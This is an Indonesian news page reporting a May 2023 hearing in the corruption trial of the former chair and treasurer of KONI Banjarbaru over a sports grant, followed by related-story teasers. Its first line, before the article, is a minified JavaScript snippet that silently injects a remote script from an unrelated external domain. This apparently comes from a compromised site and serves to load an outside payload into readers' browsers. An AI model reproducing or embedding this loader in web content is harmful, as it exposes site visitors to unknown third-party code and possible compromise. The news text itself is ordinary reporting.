(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sidang perkara kasus korupsi dana hibah Komite Olahraga Nasional Indonesia (KONI) Banjarbaru kembali digelar Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Selasa (23/5/2023) siang.
Sidang kali ini digelar dengan agenda replik Jaksa Penuntut Umum (JPU) dari Kejari Banjarbaru sebagai jawaban dari pledoi terdakwa dan kuasa hukum di perisidangan sebelumnya.
Dalam keterangannya, JPU mengatakan, tetap terhadap tuntutan penjara 1 tahun 7 bulan dan denda Rp 100 juta subsider 3 bulan penjara kepada kedua terdakwa mantan ketua dan bendahara KONI Banjarbaru.
Pun terhadap tuntutan ganti rugi sebesar Rp 144 juta subsider 10 bulan penjara kepada masing-masing terdakwa, menurut JPU adalah sudah tepat dibebankan kepada keduanya.
Baca juga: PLN Turunkan Tim Khusus Pemeliharaan Jaringan Tanpa Padam di GI Buntok
“Tetap pada pendapat kami seusai tuntutan sebelumnya, dan meminta majelis hakim menolak pledoi penasehat hukum,” kata JPU Andry di hadapan majelis hakim.
Menurut JPU, terdakwa Daniel Etta telah berpengalaman pada kepengurusan KONI Banjarbaru, sehingga seharusnya dapat mengelola organisasi secara baik dan bertanggung jawab.
Bahkan Daniel Etta, dikatakan jaksa penuntut adalah orang yang berpendidikan yaitu seorang akademisi alias dosen di Fakultas Kehutanan Universitas Lambung Mangkurat (ULM) Banjarmasin.
“Terdakwa seorang akademisi dan dari tahun 2000 telah berada di KONI, seharusnya bisa membawa arah organisasi yang baik dan bertanggung jawab,” tegas JPU.
Sementara itu, penasehat hukum kedua terdakwa yang berhadir di persidangan langsung memberikan duplik atas replik JPU secara lisan. Empat orang penasehat hukum kompak bertahan kepada pledoi yang mereka bacakan pada persidangan sebelumnya.
Baca juga: Kakek Jamsari Ditemukan Selamat Setelah Lima Hari, Mencoba Keluar di Tengah Perairan
“Kami menjawab secara lisan, tetap bertahan pada pembelaan kami kemarin,” kata Darul Huda Mustakim, salah satu dari tim kuasa hukum kedua terdakwa.
Berikutnya, sidang perkara korupsi dana hibah KONI Banjarbaru akan kembali digelar di Pengadilan Tipikor Banjarmasin dengan agenda putusan.
“Putusan tanggal 30 Mei 2023 diperintahkan penuntut umum menghadapkan kedua terdakwa,” ucap Ketua Majelis Hakim I Gede Yuliartha.
Sebelumnya, terdakwa mantan Ketua KONI Banjarbaru Daniel Etta dan Bendahara Agustina Tri Wardhani didakwa JPU telah melakukan korupsi dana hibah KONI Banjarbaru sebesar Rp 658 juta pada anggaran tahun 2018.
Keduanya didakwa dengan Pasal 23 Ayat (1) Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tipikor.
Sedangkan dakwaan subsider yaitu Pasal 3 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tipikor Jo Pasal 55 Ayat (1) ke-1 KUHP. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Taman Van der Pijl Kota Banjarbaru kembali dibuka untuk bisa dinikmati masyarakat.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang melanda wilayah Kota Banjarmasin tak hanya melanda kawasan permukiman… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob kembali melanda wilayah Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel), Rabu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Turnamen Sepakbola Bawahan Selan Cup tahun 2025 secara resmi dibuka Bupati Banjar… Read More
KANALKALIMANTAN.COM, KOTABARU - Ketua DPRD Kabupaten Kotabaru, Suwanti mengunjungi rumah duka sekaligus memberikan penghormatan terakhir kepada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dugaan pelecehan seksual yang dialami seorang tenaga kesehatan (Nakes) perempuan salah satu… Read More
This website uses cookies.